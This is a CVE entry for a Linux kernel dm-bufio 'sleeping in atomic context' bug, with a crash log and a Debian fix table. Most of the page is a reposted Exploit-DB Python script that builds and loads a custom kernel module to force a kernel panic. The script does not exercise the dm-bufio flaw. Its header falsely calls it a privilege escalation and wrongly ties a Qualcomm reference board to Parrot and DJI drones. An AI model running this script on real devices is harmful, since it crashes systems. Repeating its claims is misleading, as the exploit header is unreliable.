CVE-2025-37928
Description
In the Linux kernel, the following vulnerability has been resolved: dm-bufio: don't schedule in atomic context A BUG was reported as below when CONFIG_DEBUG_ATOMIC_SLEEP and try_verify_in_tasklet are enabled. [ 129.444685][ T934] BUG: sleeping function called from invalid context at drivers/md/dm-bufio.c:2421 [ 129.444723][ T934] in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 934, name: kworker/1:4 [ 129.444740][ T934] preempt_count: 201, expected: 0 [ 129.444756][ T934] RCU nest depth: 0, expected: 0 [ 129.444781][ T934] Preemption disabled at: [ 129.444789][ T934] [<ffffffd816231900>] shrink_work+0x21c/0x248 [ 129.445167][ T934] kernel BUG at kernel/sched/walt/walt_debug.c:16! [ 129.445183][ T934] Internal error: Oops - BUG: 00000000f2000800 [#1] PREEMPT SMP [ 129.445204][ T934] Skip md ftrace buffer dump for: 0x1609e0 [ 129.447348][ T934] CPU: 1 PID: 934 Comm: kworker/1:4 Tainted: G W OE 6.6.56-android15-8-o-g6f82312b30b9-debug #1 1400000003000000474e5500b3187743670464e8 [ 129.447362][ T934] Hardware name: Qualcomm Technologies, Inc. Parrot QRD, Alpha-M (DT) [ 129.447373][ T934] Workqueue: dm_bufio_cache shrink_work [ 129.447394][ T934] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 129.447406][ T934] pc : android_rvh_schedule_bug+0x0/0x8 [sched_walt_debug] [ 129.447435][ T934] lr : __traceiter_android_rvh_schedule_bug+0x44/0x6c [ 129.447451][ T934] sp : ffffffc0843dbc90 [ 129.447459][ T934] x29: ffffffc0843dbc90 x28: ffffffffffffffff x27: 0000000000000c8b [ 129.447479][ T934] x26: 0000000000000040 x25: ffffff804b3d6260 x24: ffffffd816232b68 [ 129.447497][ T934] x23: ffffff805171c5b4 x22: 0000000000000000 x21: ffffffd816231900 [ 129.447517][ T934] x20: ffffff80306ba898 x19: 0000000000000000 x18: ffffffc084159030 [ 129.447535][ T934] x17: 00000000d2b5dd1f x16: 00000000d2b5dd1f x15: ffffffd816720358 [ 129.447554][ T934] x14: 0000000000000004 x13: ffffff89ef978000 x12: 0000000000000003 [ 129.447572][ T934] x11: ffffffd817a823c4 x10: 0000000000000202 x9 : 7e779c5735de9400 [ 129.447591][ T934] x8 : ffffffd81560d004 x7 : 205b5d3938373434 x6 : ffffffd8167397c8 [ 129.447610][ T934] x5 : 0000000000000000 x4 : 0000000000000001 x3 : ffffffc0843db9e0 [ 129.447629][ T934] x2 : 0000000000002f15 x1 : 0000000000000000 x0 : 0000000000000000 [ 129.447647][ T934] Call trace: [ 129.447655][ T934] android_rvh_schedule_bug+0x0/0x8 [sched_walt_debug 1400000003000000474e550080cce8a8a78606b6] [ 129.447681][ T934] __might_resched+0x190/0x1a8 [ 129.447694][ T934] shrink_work+0x180/0x248 [ 129.447706][ T934] process_one_work+0x260/0x624 [ 129.447718][ T934] worker_thread+0x28c/0x454 [ 129.447729][ T934] kthread+0x118/0x158 [ 129.447742][ T934] ret_from_fork+0x10/0x20 [ 129.447761][ T934] Code: ???????? ???????? ???????? d2b5dd1f (d4210000) [ 129.447772][ T934] ---[ end trace 0000000000000000 ]--- dm_bufio_lock will call spin_lock_bh when try_verify_in_tasklet is enabled, and __scan will be called in atomic context.
Predictions
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Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Parrot and DJI variants Drone OSes - Kernel Panic Exploit
#!/usr/bin/env python3
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
# Usage:
# sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
# Options:
# --dry-run Run detection & build only (no module loading)
# --force Force exploit even if kernel not detected as vulnerable
# --cleanup-only Remove the kernel module without triggering panic
# --verbose Enable detailed logging and debug output
# --help Show usage information
#
# Examples:
# sudo python3 cve_2025_37928_tool.py --dry-run
# sudo python3 cve_2025_37928_tool.py
# sudo python3 cve_2025_37928_tool.py --force
# sudo python3 cve_2025_37928_tool.py --cleanup-only
#
# Warning:
# This PoC causes an immediate kernel panic.
# Use it ONLY in isolated and controlled environments (e.g., lab tests).
# ------------------------------------------------------------------------------
import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform
MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"
KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");
static void trigger_panic_tasklet(unsigned long data)
{
pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
schedule(); // This causes kernel panic
}
DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);
static int __init poc_init(void)
{
pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
tasklet_schedule(&my_tasklet);
return 0;
}
static void __exit poc_exit(void)
{
tasklet_kill(&my_tasklet);
pr_info("[CVE-2025-37928] PoC module unloaded\n");
}
module_init(poc_init);
module_exit(poc_exit);
'''
MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o
all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''
def check_root():
if os.geteuid() != 0:
print("[-] Must be run as root.")
sys.exit(1)
def detect_kernel():
version = platform.release()
vulnerable_versions = ["5.10", "5.15", "6.0"]
vulnerable = any(v in version for v in vulnerable_versions)
print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
return vulnerable
def detect_drone_type():
print("[*] Detecting drone type...")
files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
found = []
for path in files:
if os.path.exists(path):
try:
with open(path, "r") as f:
content = f.read().strip()
if any(x in content for x in ["Parrot", "DJI"]):
found.append(content)
except:
continue
if found:
for d in found:
print(f" [i] Found: {d}")
else:
print(" [!] No drone ID found.")
return found
def write_module(tempdir):
c_path = os.path.join(tempdir, C_FILENAME)
makefile_path = os.path.join(tempdir, "Makefile")
with open(c_path, "w") as f:
f.write(KERNEL_MODULE_CODE)
with open(makefile_path, "w") as f:
f.write(MAKEFILE_CONTENT)
return c_path
def build_module(tempdir):
print("[*] Building module...")
result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
if result.returncode != 0:
print("[-] Build failed:\n", result.stderr)
sys.exit(1)
print("[+] Build successful.")
return os.path.join(tempdir, KO_FILENAME)
def load_module(ko_path):
print("[*] Loading kernel module...")
result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
if result.returncode != 0:
print("[-] insmod failed:\n", result.stderr)
sys.exit(1)
print("[!] Module loaded. Kernel panic should occur if vulnerable.")
def unload_module():
print("[*] Attempting to remove module...")
subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
print("[+] Module removal attempted.")
def clean_build(tempdir):
subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
def main():
parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")
args = parser.parse_args()
check_root()
if args.cleanup_only:
unload_module()
return
vulnerable = detect_kernel()
detect_drone_type()
if not vulnerable and not args.force:
print("[-] Kernel not identified as vulnerable. Use --force to override.")
sys.exit(1)
if args.dry_run:
print("[*] Dry run mode. Exiting before exploitation.")
return
with tempfile.TemporaryDirectory() as tempdir:
print(f"[*] Working directory: {tempdir}")
write_module(tempdir)
ko_path = build_module(tempdir)
try:
load_module(ko_path)
except KeyboardInterrupt:
print("[!] Interrupted. Attempting cleanup...")
finally:
unload_module()
clean_build(tempdir)
if __name__ == "__main__":
main()
OS impact
| OS | Version | Status | Fixed in |
|---|---|---|---|
| sles | affected | | |
| debian | bookworm | fixed | 6.1.140-1 |
| debian | forky | fixed | 6.12.29-1 |
| debian | sid | fixed | 6.12.29-1 |
| debian | trixie | fixed | 6.12.29-1 |
| debian | bullseye | fixed | 6.1.140-1~deb11u1 |
References
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